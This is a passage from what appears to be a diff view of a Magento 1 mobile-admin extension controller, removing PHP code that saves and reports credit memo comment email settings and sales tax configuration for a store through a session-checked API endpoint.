Mage::getConfig()->saveConfig('sales_email/creditmemo_comment/identity', $post_data['creditMemoCommentEmailVal'], 'default', $storeId);
|
| 4234 |
-
}
|
| 4235 |
-
else
|
| 4236 |
-
{
|
| 4237 |
-
Mage::getConfig()->saveConfig('sales_email/creditmemo_comment/identity', $post_data['creditMemoCommentEmailVal'], 'stores', $storeId);
|
| 4238 |
-
}
|
| 4239 |
-
|
| 4240 |
-
$salesEmailsAcion['successMessage'] = "Credit Memo Comment Email Sender updated On ".$storeName." Store.";
|
| 4241 |
-
Mage::getConfig()->reinit();
|
| 4242 |
-
Mage::app()->reinitStores();
|
| 4243 |
-
}
|
| 4244 |
-
|
| 4245 |
-
$creditMemoCommentEmailSelectedValue = Mage::getStoreConfig('sales_email/creditmemo_comment/identity', $storeId);
|
| 4246 |
-
|
| 4247 |
-
foreach ($this->emailSendersListArray() as $value)
|
| 4248 |
-
{
|
| 4249 |
-
if($value['value'] == $creditMemoCommentEmailSelectedValue)
|
| 4250 |
-
{
|
| 4251 |
-
$emailComArr['label'] = $value['label'];
|
| 4252 |
-
$emailComArr['value'] = $value['value'];
|
| 4253 |
-
$emailComArr['status'] = 1;
|
| 4254 |
-
$salesEmailsAcion['creditMemoCommentEmailList'][] = $emailComArr;
|
| 4255 |
-
}
|
| 4256 |
-
else
|
| 4257 |
-
{
|
| 4258 |
-
$emailComArr['label'] = $value['label'];
|
| 4259 |
-
$emailComArr['value'] = $value['value'];
|
| 4260 |
-
$emailComArr['status'] = 0;
|
| 4261 |
-
$salesEmailsAcion['creditMemoCommentEmailList'][] = $emailComArr;
|
| 4262 |
-
}
|
| 4263 |
-
|
| 4264 |
-
}
|
| 4265 |
-
|
| 4266 |
-
|
| 4267 |
-
|
| 4268 |
-
|
| 4269 |
-
//Credit Memo Comment Email Template
|
| 4270 |
-
if(isset($post_data['newOrderCreditMemoCommentsEmailTemplateVal']))
|
| 4271 |
-
{
|
| 4272 |
-
if($storeId == 0)
|
| 4273 |
-
{
|
| 4274 |
-
Mage::getConfig()->saveConfig('sales_email/creditmemo_comment/template', $post_data['newOrderCreditMemoCommentsEmailTemplateVal'], 'default', $storeId);
|
| 4275 |
-
}
|
| 4276 |
-
else
|
| 4277 |
-
{
|
| 4278 |
-
Mage::getConfig()->saveConfig('sales_email/creditmemo_comment/template', $post_data['newOrderCreditMemoCommentsEmailTemplateVal'], 'stores', $storeId);
|
| 4279 |
-
}
|
| 4280 |
-
|
| 4281 |
-
$salesEmailsAcion['successMessage'] = "Credit Memo Comment Email Template updated On ".$storeName." Store.";
|
| 4282 |
-
Mage::getConfig()->reinit();
|
| 4283 |
-
Mage::app()->reinitStores();
|
| 4284 |
-
}
|
| 4285 |
-
|
| 4286 |
-
$newOrderCreditMemoCommentEmailTemplateSelectedValue = Mage::getStoreConfig('sales_email/creditmemo_comment/template', $storeId);
|
| 4287 |
-
|
| 4288 |
-
$newOrderCreditMemoCommentEmailTemObj = new Mage_Adminhtml_Model_System_Config_Source_Email_Template();
|
| 4289 |
-
$newOrderCreditMemoCommentEmailTemCollection = $newOrderCreditMemoCommentEmailTemObj->toOptionArray();
|
| 4290 |
-
if($newOrderCreditMemoCommentEmailTemCollection[0]['value'] == "")
|
| 4291 |
-
{
|
| 4292 |
-
$newOrderCreditMemoCommentEmailTemCollection[0]['value'] = "sales_email_creditmemo_comment_template";
|
| 4293 |
-
}
|
| 4294 |
-
//echo "<pre>"; print_r($newOrderCreditMemoCommentEmailTemCollection); die;
|
| 4295 |
-
foreach ($newOrderCreditMemoCommentEmailTemCollection as $value)
|
| 4296 |
-
{
|
| 4297 |
-
if($value['value'] == $newOrderCreditMemoCommentEmailTemplateSelectedValue)
|
| 4298 |
-
{
|
| 4299 |
-
$newOrderEmailTemArr['label'] = "Credit Memo Update (".$value['label'].")";
|
| 4300 |
-
$newOrderEmailTemArr['value'] = $value['value'];
|
| 4301 |
-
$newOrderEmailTemArr['status'] = 1;
|
| 4302 |
-
$salesEmailsAcion['newOrderCreditMemoCommentsEmailTempColl'][] = $newOrderEmailTemArr;
|
| 4303 |
-
}
|
| 4304 |
-
else
|
| 4305 |
-
{
|
| 4306 |
-
$newOrderEmailTemArr['label'] = "Credit Memo Update (".$value['label'].")";
|
| 4307 |
-
$newOrderEmailTemArr['value'] = $value['value'];
|
| 4308 |
-
$newOrderEmailTemArr['status'] = 0;
|
| 4309 |
-
$salesEmailsAcion['newOrderCreditMemoCommentsEmailTempColl'][] = $newOrderEmailTemArr;
|
| 4310 |
-
}
|
| 4311 |
-
}
|
| 4312 |
-
//echo $post_data['emailTemplateVal']."***";
|
| 4313 |
-
|
| 4314 |
-
|
| 4315 |
-
|
| 4316 |
-
|
| 4317 |
-
//Credit Memo Comment Email Template for Guest
|
| 4318 |
-
if(isset($post_data['newOrderCreditMemoCommentsForGuestVal']))
|
| 4319 |
-
{
|
| 4320 |
-
if($storeId == 0)
|
| 4321 |
-
{
|
| 4322 |
-
Mage::getConfig()->saveConfig('sales_email/creditmemo_comment/guest_template', $post_data['newOrderCreditMemoCommentsForGuestVal'], 'default', $storeId);
|
| 4323 |
-
}
|
| 4324 |
-
else
|
| 4325 |
-
{
|
| 4326 |
-
Mage::getConfig()->saveConfig('sales_email/creditmemo_comment/guest_template', $post_data['newOrderCreditMemoCommentsForGuestVal'], 'stores', $storeId);
|
| 4327 |
-
}
|
| 4328 |
-
|
| 4329 |
-
$salesEmailsAcion['successMessage'] = "Credit Memo Comment Email Template for Guest updated On ".$storeName." Store.";
|
| 4330 |
-
Mage::getConfig()->reinit();
|
| 4331 |
-
Mage::app()->reinitStores();
|
| 4332 |
-
}
|
| 4333 |
-
|
| 4334 |
-
$forGuestCreditMemoCommentsEmailTemplateSelectedValue = Mage::getStoreConfig('sales_email/creditmemo_comment/guest_template', $storeId);
|
| 4335 |
-
|
| 4336 |
-
$newOrderCreditMemoCommentsEmailGuestTemObj = new Mage_Adminhtml_Model_System_Config_Source_Email_Template();
|
| 4337 |
-
$newOrderCreditMemoCommentsEmailGuestTemCollection = $newOrderCreditMemoCommentsEmailGuestTemObj->toOptionArray();
|
| 4338 |
-
if($newOrderCreditMemoCommentsEmailGuestTemCollection[0]['value'] == "")
|
| 4339 |
-
{
|
| 4340 |
-
$newOrderCreditMemoCommentsEmailGuestTemCollection[0]['value'] = "sales_email_creditmemo_comment_guest_template";
|
| 4341 |
-
}
|
| 4342 |
-
|
| 4343 |
-
//echo "<pre>"; print_r($newOrderCreditMemoCommentsEmailGuestTemCollection); die;
|
| 4344 |
-
foreach ($newOrderCreditMemoCommentsEmailGuestTemCollection as $value)
|
| 4345 |
-
{
|
| 4346 |
-
if($value['value'] == $forGuestCreditMemoCommentsEmailTemplateSelectedValue)
|
| 4347 |
-
{
|
| 4348 |
-
$forGuestOrderEmailTemArr['label'] = "Credit Memo Update for Guest (".$value['label'].")";
|
| 4349 |
-
$forGuestOrderEmailTemArr['value'] = $value['value'];
|
| 4350 |
-
$forGuestOrderEmailTemArr['status'] = 1;
|
| 4351 |
-
$salesEmailsAcion['newOrderCreditMemoCommentsForGuestColl'][] = $forGuestOrderEmailTemArr;
|
| 4352 |
-
}
|
| 4353 |
-
else
|
| 4354 |
-
{
|
| 4355 |
-
$forGuestOrderEmailTemArr['label'] = "Credit Memo Update for Guest (".$value['label'].")";
|
| 4356 |
-
$forGuestOrderEmailTemArr['value'] = $value['value'];
|
| 4357 |
-
$forGuestOrderEmailTemArr['status'] = 0;
|
| 4358 |
-
$salesEmailsAcion['newOrderCreditMemoCommentsForGuestColl'][] = $forGuestOrderEmailTemArr;
|
| 4359 |
-
}
|
| 4360 |
-
}
|
| 4361 |
-
//echo $post_data['emailTemplateVal']."***";
|
| 4362 |
-
|
| 4363 |
-
|
| 4364 |
-
|
| 4365 |
-
|
| 4366 |
-
//Send Credit Memo Comment Email Copy To
|
| 4367 |
-
if(isset($post_data['emailCreditMemoCommentsCopyToVal']))
|
| 4368 |
-
{
|
| 4369 |
-
if($storeId == 0)
|
| 4370 |
-
{
|
| 4371 |
-
Mage::getConfig()->saveConfig('sales_email/creditmemo_comment/copy_to', $post_data['emailCreditMemoCommentsCopyToVal'], 'default', $storeId);
|
| 4372 |
-
}
|
| 4373 |
-
else
|
| 4374 |
-
{
|
| 4375 |
-
Mage::getConfig()->saveConfig('sales_email/creditmemo_comment/copy_to', $post_data['emailCreditMemoCommentsCopyToVal'], 'stores', $storeId);
|
| 4376 |
-
}
|
| 4377 |
-
|
| 4378 |
-
$salesEmailsAcion['successMessage'] = "Send Credit Memo Comment Email Copy To Value updated On ".$storeName." Store.";
|
| 4379 |
-
Mage::getConfig()->reinit();
|
| 4380 |
-
Mage::app()->reinitStores();
|
| 4381 |
-
}
|
| 4382 |
-
|
| 4383 |
-
$salesEmailsAcion['emailCreditMemoCommentsCopyToSelectedValue'] = Mage::getStoreConfig('sales_email/creditmemo_comment/copy_to', $storeId);
|
| 4384 |
-
|
| 4385 |
-
|
| 4386 |
-
|
| 4387 |
-
//Send Credit Memo Comments Email Copy Method
|
| 4388 |
-
if(isset($post_data['orderCreditMemoCommentsEmailCopyVal']))
|
| 4389 |
-
{
|
| 4390 |
-
if($storeId == 0)
|
| 4391 |
-
{
|
| 4392 |
-
Mage::getConfig()->saveConfig('sales_email/creditmemo_comment/copy_method', $post_data['orderCreditMemoCommentsEmailCopyVal'], 'default', $storeId);
|
| 4393 |
-
}
|
| 4394 |
-
else
|
| 4395 |
-
{
|
| 4396 |
-
Mage::getConfig()->saveConfig('sales_email/creditmemo_comment/copy_method', $post_data['orderCreditMemoCommentsEmailCopyVal'], 'stores', $storeId);
|
| 4397 |
-
}
|
| 4398 |
-
|
| 4399 |
-
$salesEmailsAcion['successMessage'] = "Send Credit Memo Comments Email Copy Method Value updated On ".$storeName." Store.";
|
| 4400 |
-
Mage::getConfig()->reinit();
|
| 4401 |
-
Mage::app()->reinitStores();
|
| 4402 |
-
}
|
| 4403 |
-
|
| 4404 |
-
$salesEmailsAcion['orderCreditMemoCommentsEmailCopySelectedValue'] = Mage::getStoreConfig('sales_email/creditmemo_comment/copy_method', $storeId);
|
| 4405 |
-
|
| 4406 |
-
|
| 4407 |
-
// echo "<pre>"; print_r($salesEmailsAcion); die;
|
| 4408 |
-
$jsonData = Mage::helper('core')->jsonEncode($salesEmailsAcion);
|
| 4409 |
-
return Mage::app()->getResponse()->setBody($jsonData);
|
| 4410 |
-
}
|
| 4411 |
-
catch(Exception $e)
|
| 4412 |
-
{
|
| 4413 |
-
$errorResult['error'] = $e->getMessage();
|
| 4414 |
-
|
| 4415 |
-
$jsonData = Mage::helper('core')->jsonEncode($errorResult);
|
| 4416 |
-
return Mage::app()->getResponse()->setBody($jsonData);
|
| 4417 |
-
}
|
| 4418 |
-
}
|
| 4419 |
-
else
|
| 4420 |
-
{
|
| 4421 |
-
$isEnable = Mage::helper('core')->jsonEncode(array('enable' => false));
|
| 4422 |
-
return Mage::app()->getResponse()->setBody($isEnable); // set body with json format
|
| 4423 |
-
}
|
| 4424 |
-
}
|
| 4425 |
-
|
| 4426 |
-
/***** End Sales Email section ******/
|
| 4427 |
-
|
| 4428 |
-
|
| 4429 |
-
|
| 4430 |
-
/***** Start Sales TAX section ******/
|
| 4431 |
-
|
| 4432 |
-
// System > Configuration > SALES > Tax > Calculation Settings > Tax Calculation Method Based On
|
| 4433 |
-
/*public function taxCalculationMethodBasedOn()
|
| 4434 |
-
{
|
| 4435 |
-
$list = array(
|
| 4436 |
-
array(
|
| 4437 |
-
'value' => Mage_Tax_Model_Calculation::CALC_UNIT_BASE,
|
| 4438 |
-
'label' => Mage::helper('tax')->__('Unit Price')
|
| 4439 |
-
),
|
| 4440 |
-
array(
|
| 4441 |
-
'value' => Mage_Tax_Model_Calculation::CALC_ROW_BASE,
|
| 4442 |
-
'label' => Mage::helper('tax')->__('Row Total')
|
| 4443 |
-
),
|
| 4444 |
-
array(
|
| 4445 |
-
'value' => Mage_Tax_Model_Calculation::CALC_TOTAL_BASE,
|
| 4446 |
-
'label' => Mage::helper('tax')->__('Total')
|
| 4447 |
-
),
|
| 4448 |
-
);
|
| 4449 |
-
return $list;
|
| 4450 |
-
}*/
|
| 4451 |
-
|
| 4452 |
-
public function salesTaxAction()
|
| 4453 |
-
{
|
| 4454 |
-
if(Mage::helper('mobileadmin')->isEnable()) // check extension if enabled or not
|
| 4455 |
-
{
|
| 4456 |
-
$post_data = Mage::app()->getRequest()->getParams();
|
| 4457 |
-
$sessionId = $post_data['session'];
|
| 4458 |
-
if (!Mage::getSingleton('api/session')->isLoggedIn($sessionId)) // check session if not, will return false
|
| 4459 |
-
{
|
| 4460 |
-
echo $this->__("The Login has expired. Please try log in again.");
|
| 4461 |
-
return false;
|
| 4462 |
-
}
|
| 4463 |
-
|
| 4464 |
-
try
|
| 4465 |
-
{
|
| 4466 |
-
$storeId = $post_data['store'];
|
| 4467 |
-
$storeName = Mage::getModel('core/store')->load($storeId)->getName();
|
| 4468 |
-
|
| 4469 |
-
//Tax Classes
|
| 4470 |
-
|
| 4471 |
-
//Tax Class for Shipping
|
| 4472 |
-
|
| 4473 |
-
if(isset($post_data['taxClassForShippingVal']))
|
| 4474 |
-
{
|
| 4475 |
-
Mage::getConfig()->saveConfig('tax/classes/shipping_tax_class', $post_data['taxClassForShippingVal'], 'default', 0);
|
| 4476 |
-
|
| 4477 |
-
$saleTaxAcion['successMessage'] = "Tax Class for Shipping Saved On ".$storeName." Store.";
|
| 4478 |
-
Mage::getConfig()->reinit();
|
| 4479 |
-
Mage::app()->reinitStores();
|
| 4480 |
-
}
|
| 4481 |
-
|
| 4482 |
-
$taxArr = Mage::getModel('tax/class_source_product')->toOptionArray();
|
| 4483 |
-
|
| 4484 |
-
$taxClassForShippingSelectedValue = Mage::getStoreConfig('tax/classes/shipping_tax_class');
|
| 4485 |
-
|
| 4486 |
-
foreach ($taxArr as $value)
|
| 4487 |
-
{
|
| 4488 |
-
if($value['value'] == $taxClassForShippingSelectedValue)
|
| 4489 |
-
{
|
| 4490 |
-
$taxNewArr['value'] = $value['value'];
|
| 4491 |
-
$taxNewArr['label'] = $value['label'];
|
| 4492 |
-
$taxNewArr['status'] = 1;
|
| 4493 |
-
$saleTaxAcion['taxClassForShippingList'][] = $taxNewArr;
|
| 4494 |
-
}
|
| 4495 |
-
else
|
| 4496 |
-
{
|
| 4497 |
-
$taxNewArr['value'] = $value['value'];
|
| 4498 |
-
$taxNewArr['label'] = $value['label'];
|
| 4499 |
-
$taxNewArr['status'] = 0;
|
| 4500 |
-
$saleTaxAcion['taxClassForShippingList'][] = $taxNewArr;
|
| 4501 |
-
}
|
| 4502 |
-
}
|
| 4503 |
-
|
| 4504 |
-
|
| 4505 |
-
|
| 4506 |
-
//Calculation Settings
|
| 4507 |
-
|
| 4508 |
-
//Tax Calculation Method Based On
|
| 4509 |
-
if(isset($post_data['taxCalculationMethodVal']))
|
| 4510 |
-
{
|
| 4511 |
-
Mage::getConfig()->saveConfig('tax/calculation/algorithm', $post_data['taxCalculationMethodVal'], 'default', 0);
|
| 4512 |
-
|
| 4513 |
-
$saleTaxAcion['successMessage'] = "Tax Calculation Method Based On Saved On ".$storeName." Store.";
|
| 4514 |
-
Mage::getConfig()->reinit();
|
| 4515 |
-
Mage::app()->reinitStores();
|
| 4516 |
-
}
|
| 4517 |
-
|
| 4518 |
-
$taxCalculationMethodSelectedValue = Mage::getStoreConfig('tax/calculation/algorithm');
|
| 4519 |
-
$taxCalculationMethod = new Mage_Tax_Model_System_Config_Source_Algorithm(); //echo "<pre>"; print_r($taxCalculationMethod->toOptionArray()); die;
|
| 4520 |
-
foreach ($taxCalculationMethod->toOptionArray() as $value)
|
| 4521 |
-
{
|
| 4522 |
-
if($value['value'] == $taxCalculationMethodSelectedValue)
|
| 4523 |
-
{
|
| 4524 |
-
$taxCalculationBasedOnArr['value'] = $value['value'];
|
| 4525 |
-
$taxCalculationBasedOnArr['label'] = $value['label'];
|
| 4526 |
-
$taxCalculationBasedOnArr['status'] = 1;
|
| 4527 |
-
$saleTaxAcion['taxCalculationMethodList'][] = $taxCalculationBasedOnArr;
|
| 4528 |
-
}
|
| 4529 |
-
else
|
| 4530 |
-
{
|
| 4531 |
-
$taxCalculationBasedOnArr['value'] = $value['value'];
|
| 4532 |
-
$taxCalculationBasedOnArr['label'] = $value['label'];
|
| 4533 |
-
$taxCalculationBasedOnArr['status'] = 0;
|
| 4534 |
-
$saleTaxAcion['taxCalculationMethodList'][] = $taxCalculationBasedOnArr;
|
| 4535 |
-
}
|
| 4536 |
-
}
|
| 4537 |
-
|
| 4538 |
-
|
| 4539 |
-
|
| 4540 |
-
//Tax Calculation Based On
|
| 4541 |
-
if(isset($post_data['taxCalculationBasedVal']))
|
| 4542 |
-
{
|
| 4543 |
-
Mage::getConfig()->saveConfig('tax/calculation/based_on', $post_data['taxCalculationBasedVal'], 'default', 0);
|
| 4544 |
-
|
| 4545 |
-
$saleTaxAcion['successMessage'] = "Tax Calculation Based On Saved On ".$storeName." Store.";
|
| 4546 |
-
Mage::getConfig()->reinit();
|
| 4547 |
-
Mage::app()->reinitStores();
|
| 4548 |
-
}
|
| 4549 |
-
|
| 4550 |
-
$taxCalculationBasedSelectedValue = Mage::getStoreConfig('tax/calculation/based_on');
|
| 4551 |
-
$taxCalculationBased = new Mage_Adminhtml_Model_System_Config_Source_Tax_Basedon();
|
| 4552 |
-
//echo "<pre>"; print_r($taxCalculationBased->toOptionArray());
|
| 4553 |
-
foreach ($taxCalculationBased->toOptionArray() as $value)
|
| 4554 |
-
{
|
| 4555 |
-
//echo $value['value']."*****".$taxCalculationBasedSelectedValue; die;
|
| 4556 |
-
if($value['value'] == $taxCalculationBasedSelectedValue)
|
| 4557 |
-
{
|
| 4558 |
-
$taxCalculationBasedArr['value'] = $value['value'];
|
| 4559 |
-
$taxCalculationBasedArr['label'] = $value['label'];
|
| 4560 |
-
$taxCalculationBasedArr['status'] = 1;
|
| 4561 |
-
$saleTaxAcion['taxCalculationBasedList'][] = $taxCalculationBasedArr;
|
| 4562 |
-
}
|
| 4563 |
-
else
|
| 4564 |
-
{
|
| 4565 |
-
$taxCalculationBasedArr['value'] = $value['value'];
|
| 4566 |
-
$taxCalculationBasedArr['label'] = $value['label'];
|
| 4567 |
-
$taxCalculationBasedArr['status'] = 0;
|
| 4568 |
-
$saleTaxAcion['taxCalculationBasedList'][] = $taxCalculationBasedArr;
|
| 4569 |
-
}
|
| 4570 |
-
}
|
| 4571 |
-
|
| 4572 |
-
|
| 4573 |
-
|
| 4574 |
-
//Catalog Prices
|
| 4575 |
-
if(isset($post_data['catalogPricesVal']))
|
| 4576 |
-
{
|
| 4577 |
-
Mage::getConfig()->saveConfig('tax/calculation/price_includes_tax', $post_data['catalogPricesVal'], 'default', 0);
|
| 4578 |
-
|
| 4579 |
-
$saleTaxAcion['successMessage'] = "Catalog Prices Saved On ".$storeName." Store.";
|
| 4580 |
-
|
| 4581 |
-
Mage::getConfig()->reinit();
|
| 4582 |
-
Mage::app()->reinitStores();
|
| 4583 |
-
}
|
| 4584 |
-
$saleTaxAcion['catalogPricesSelectedValue'] = Mage::getStoreConfig('tax/calculation/price_includes_tax');
|
| 4585 |
-
|
| 4586 |
-
|
| 4587 |
-
|
| 4588 |
-
//Shipping Prices
|
| 4589 |
-
if(isset($post_data['shippingPricesVal']))
|
| 4590 |
-
{
|
| 4591 |
-
Mage::getConfig()->saveConfig('tax/calculation/shipping_includes_tax', $post_data['shippingPricesVal'], 'default', 0);
|
| 4592 |
-
|
| 4593 |
-
$saleTaxAcion['successMessage'] = "Shipping Prices Saved On ".$storeName." Store.";
|
| 4594 |
-
|
| 4595 |
-
Mage::getConfig()->reinit();
|
| 4596 |
-
Mage::app()->reinitStores();
|
| 4597 |
-
}
|
| 4598 |
-
$saleTaxAcion['shippingPricesSelectedValue'] = Mage::getStoreConfig('tax/calculation/shipping_includes_tax');
|
| 4599 |
-
|
| 4600 |
-
|
| 4601 |
-
|
| 4602 |
-
//Apply Customer Tax
|
| 4603 |
-
if(isset($post_data['appluCustomerTaxVal']))
|
| 4604 |
-
{
|
| 4605 |
-
Mage::getConfig()->saveConfig('tax/calculation/apply_after_discount', $post_data['appluCustomerTaxVal'], 'default', 0);
|
| 4606 |
-
|
| 4607 |
-
$saleTaxAcion['successMessage'] = "Apply Customer Tax Value Saved On ".$storeName." Store.";
|
| 4608 |
-
|
| 4609 |
-
Mage::getConfig()->reinit();
|
| 4610 |
-
Mage::app()->reinitStores();
|
| 4611 |
-
}
|
| 4612 |
-
$saleTaxAcion['appluCustomerTaxSelectedValue'] = Mage::getStoreConfig('tax/calculation/apply_after_discount');
|
| 4613 |
-
|
| 4614 |
-
|
| 4615 |
-
|
| 4616 |
-
//Apply Discount On Prices
|
| 4617 |
-
if(isset($post_data['applyDisOnPriceVal']))
|
| 4618 |
-
{
|
| 4619 |
-
Mage::getConfig()->saveConfig('tax/calculation/discount_tax', $post_data['applyDisOnPriceVal'], 'default', 0);
|
| 4620 |
-
|
| 4621 |
-
$saleTaxAcion['successMessage'] = "Apply Discount On Prices Value Saved On ".$storeName." Store.";
|
| 4622 |
-
|
| 4623 |
-
Mage::getConfig()->reinit();
|
| 4624 |
-
Mage::app()->reinitStores();
|
| 4625 |
-
}
|
| 4626 |
-
$saleTaxAcion['applyDisOnPriceSelectedValue'] = Mage::getStoreConfig('tax/calculation/discount_tax');
|
| 4627 |
-
|
| 4628 |
-
|
| 4629 |
-
|
| 4630 |
-
//Apply Tax On
|
| 4631 |
-
if(isset($post_data['applyTaxOnVal']))
|
| 4632 |
-
{
|
| 4633 |
-
Mage::getConfig()->saveConfig('tax/calculation/apply_tax_on', $post_data['applyTaxOnVal'], 'default', 0);
|
| 4634 |
-
|
| 4635 |
-
$saleTaxAcion['successMessage'] = "Apply Tax On Value Saved On ".$storeName." Store.";
|
| 4636 |
-
|
| 4637 |
-
Mage::getConfig()->reinit();
|
| 4638 |
-
Mage::app()->reinitStores();
|
| 4639 |
-
}
|
| 4640 |
-
$saleTaxAcion['applyTaxOnSelectedValue'] = Mage::getStoreConfig('tax/calculation/apply_tax_on');
|
| 4641 |
-
|
| 4642 |
-
|
| 4643 |
-
|
| 4644 |
-
//Enable Cross Border Trade
|
| 4645 |
-
if(isset($post_data['crossBorderTradeVal']))
|
| 4646 |
-
{
|
| 4647 |
-
Mage::getConfig()->saveConfig('tax/calculation/cross_border_trade_enabled', $post_data['crossBorderTradeVal'], 'default', 0);
|
| 4648 |
-
|
| 4649 |
-
$saleTaxAcion['successMessage'] = "Enable Cross Border Trade Value Saved On ".$storeName." Store.";
|
| 4650 |
-
|
| 4651 |
-
Mage::getConfig()->reinit();
|
| 4652 |
-
Mage::app()->reinitStores();
|
| 4653 |
-
}
|
| 4654 |
-
$saleTaxAcion['crossBorderTradeSelectedValue'] = Mage::getStoreConfig('tax/calculation/cross_border_trade_enabled');
|
| 4655 |
-
|
| 4656 |
-
|
| 4657 |
-
|
| 4658 |
-
|
| 4659 |
-
//Default Tax Destination Calculation
|
| 4660 |
-
|
| 4661 |
-
//Default Country
|
| 4662 |
-
if(isset($post_data['taxDefaultCountryVal']))
|
| 4663 |
-
{
|
| 4664 |
-
if($storeId == 0)
|
| 4665 |
-
{
|
| 4666 |
-
Mage::getConfig()->saveConfig('tax/defaults/country', $post_data['taxDefaultCountryVal'], 'default', $storeId);
|
| 4667 |
-
}
|
| 4668 |
-
else
|
| 4669 |
-
{
|
| 4670 |
-
Mage::getConfig()->saveConfig('tax/defaults/country', $post_data['taxDefaultCountryVal'], 'stores', $storeId);
|
| 4671 |
-
}
|
| 4672 |
-
|
| 4673 |
-
$saleTaxAcion['successMessage'] = "Default Country For Tax Value Saved On ".$storeName." Store.";
|
| 4674 |
-
|
| 4675 |
-
Mage::getConfig()->reinit();
|
| 4676 |
-
Mage::app()->reinitStores();
|
| 4677 |
-
}
|
| 4678 |
-
|
| 4679 |
-
$defauCountrySelectedValue = Mage::getStoreConfig('tax/defaults/country', $storeId);
|
| 4680 |
-
|
| 4681 |
-
$defaultCountriesList = Mage::getModel('directory/country')->getResourceCollection()->load()->toOptionArray(false);
|
| 4682 |
-
|
| 4683 |
-
foreach($defaultCountriesList as $value)
|
| 4684 |
-
{
|
| 4685 |
-
if($value['value'] == $defauCountrySelectedValue)
|
| 4686 |
-
{
|
| 4687 |
-
$defaultCurArr['value'] = $value['value'];
|
| 4688 |
-
$defaultCurArr['label'] = $value['label'];
|
| 4689 |
-
$defaultCurArr['status'] = 1;
|
| 4690 |
-
$saleTaxAcion['TaxDefaultCountryList'][] = $defaultCurArr;
|
| 4691 |
-
}
|
| 4692 |
-
else
|
| 4693 |
-
{
|
| 4694 |
-
$defaultCurArr['value'] = $value['value'];
|
| 4695 |
-
$defaultCurArr['label'] = $value['label'];
|
| 4696 |
-
$defaultCurArr['status'] = 0;
|
| 4697 |
-
$saleTaxAcion['TaxDefaultCountryList'][] = $defaultCurArr;
|
| 4698 |
-
}
|
| 4699 |
-
}
|
| 4700 |
-
|
| 4701 |
-
|
| 4702 |
-
|
| 4703 |
-
//Default Post Code
|
| 4704 |
-
if(isset($post_data['taxDefaultPostCodeVal']))
|
| 4705 |
-
{
|
| 4706 |
-
if($storeId == 0)
|
| 4707 |
-
{
|
| 4708 |
-
Mage::getConfig()->saveConfig('tax/defaults/postcode', $post_data['taxDefaultPostCodeVal'], 'default', $storeId);
|
| 4709 |
-
}
|
| 4710 |
-
else
|
| 4711 |
-
{
|
| 4712 |
-
Mage::getConfig()->saveConfig('tax/defaults/postcode', $post_data['taxDefaultPostCodeVal'], 'stores', $storeId);
|
| 4713 |
-
}
|
| 4714 |
-
|
| 4715 |
-
$saleTaxAcion['successMessage'] = "Default Country For Tax Value Saved On ".$storeName." Store.";
|
| 4716 |
-
|
| 4717 |
-
Mage::getConfig()->reinit();
|
| 4718 |
-
Mage::app()->reinitStores();
|
| 4719 |
-
}
|
| 4720 |
-
|
| 4721 |
-
$saleTaxAcion['taxDefaultPostCodeSelectedValue'] = Mage::getStoreConfig('tax/defaults/postcode', $storeId);
|
| 4722 |
-
|
| 4723 |
-
|
| 4724 |
-
|
| 4725 |
-
|
| 4726 |
-
//Price Display Settings
|
| 4727 |
-
|
| 4728 |
-
//Display Product Prices In Catalog
|
| 4729 |
-
if(isset($post_data['displayProductPricesVal']))
|
| 4730 |
-
{
|
| 4731 |
-
if($storeId == 0)
|
| 4732 |
-
{
|
| 4733 |
-
Mage::getConfig()->saveConfig('tax/display/type', $post_data['displayProductPricesVal'], 'default', $storeId);
|
| 4734 |
-
}
|
| 4735 |
-
else
|
| 4736 |
-
{
|
| 4737 |
-
Mage::getConfig()->saveConfig('tax/display/type', $post_data['displayProductPricesVal'], 'stores', $storeId);
|
| 4738 |
-
}
|
| 4739 |
-
|
| 4740 |
-
$saleTaxAcion['successMessage'] = "Display Product Prices In Catalog Value Saved On ".$storeName." Store.";
|
| 4741 |
-
|
| 4742 |
-
Mage::getConfig()->reinit();
|
| 4743 |
-
Mage::app()->reinitStores();
|
| 4744 |
-
}
|
| 4745 |
-
|
| 4746 |
-
$displayProductPricesSelectedValue = Mage::getStoreConfig('tax/display/type', $storeId);
|
| 4747 |
-
|
| 4748 |
-
$displayProductPricesArr = new Mage_Tax_Model_System_Config_Source_Tax_Display_Type();
|
| 4749 |
-
foreach ($displayProductPricesArr->toOptionArray() as $value)
|
| 4750 |
-
{
|
| 4751 |
-
if($value['value'] == $displayProductPricesSelectedValue)
|
| 4752 |
-
{
|
| 4753 |
-
$displayProductArr['value'] = $value['value'];
|
| 4754 |
-
$displayProductArr['label'] = $value['label'];
|
| 4755 |
-
$displayProductArr['status'] = 1;
|
| 4756 |
-
$saleTaxAcion['displayProductPricesInCatalogList'][] = $displayProductArr;
|
| 4757 |
-
}
|
| 4758 |
-
else
|
| 4759 |
-
{
|
| 4760 |
-
$displayProductArr['value'] = $value['value'];
|
| 4761 |
-
$displayProductArr['label'] = $value['label'];
|
| 4762 |
-
$displayProductArr['status'] = 0;
|
| 4763 |
-
$saleTaxAcion['displayProductPricesInCatalogList'][] = $displayProductArr;
|
| 4764 |
-
}
|
| 4765 |
-
}
|
| 4766 |
-
|
| 4767 |
-
|
| 4768 |
-
//Display Shipping Prices
|
| 4769 |
-
if(isset($post_data['displayShippingPricesVal']))
|
| 4770 |
-
{
|
| 4771 |
-
if($storeId == 0)
|
| 4772 |
-
{
|
| 4773 |
-
Mage::getConfig()->saveConfig('tax/display/shipping', $post_data['displayShippingPricesVal'], 'default', $storeId);
|
| 4774 |
-
}
|
| 4775 |
-
else
|
| 4776 |
-
{
|
| 4777 |
-
Mage::getConfig()->saveConfig('tax/display/shipping', $post_data['displayShippingPricesVal'], 'stores', $storeId);
|
| 4778 |
-
}
|
| 4779 |
-
|
| 4780 |
-
$saleTaxAcion['successMessage'] = "Display Shipping Prices Value Saved On ".$storeName." Store.";
|
| 4781 |
-
|
| 4782 |
-
Mage::getConfig()->reinit();
|
| 4783 |
-
Mage::app()->reinitStores();
|
| 4784 |
-
}
|
| 4785 |
-
|
| 4786 |
-
$displayShippingPricesSelectedValue = Mage::getStoreConfig('tax/display/shipping', $storeId);
|
| 4787 |
-
|
| 4788 |
-
//$displayProductPricesArr = new Mage_Tax_Model_System_Config_Source_Tax_Display_Type();
|
| 4789 |
-
foreach ($displayProductPricesArr->toOptionArray() as $value)
|
| 4790 |
-
{
|
| 4791 |
-
if($value['value'] == $displayShippingPricesSelectedValue)
|
| 4792 |
-
{
|
| 4793 |
-
$displayProductArr['value'] = $value['value'];
|
| 4794 |
-
$displayProductArr['label'] = $value['label'];
|
| 4795 |
-
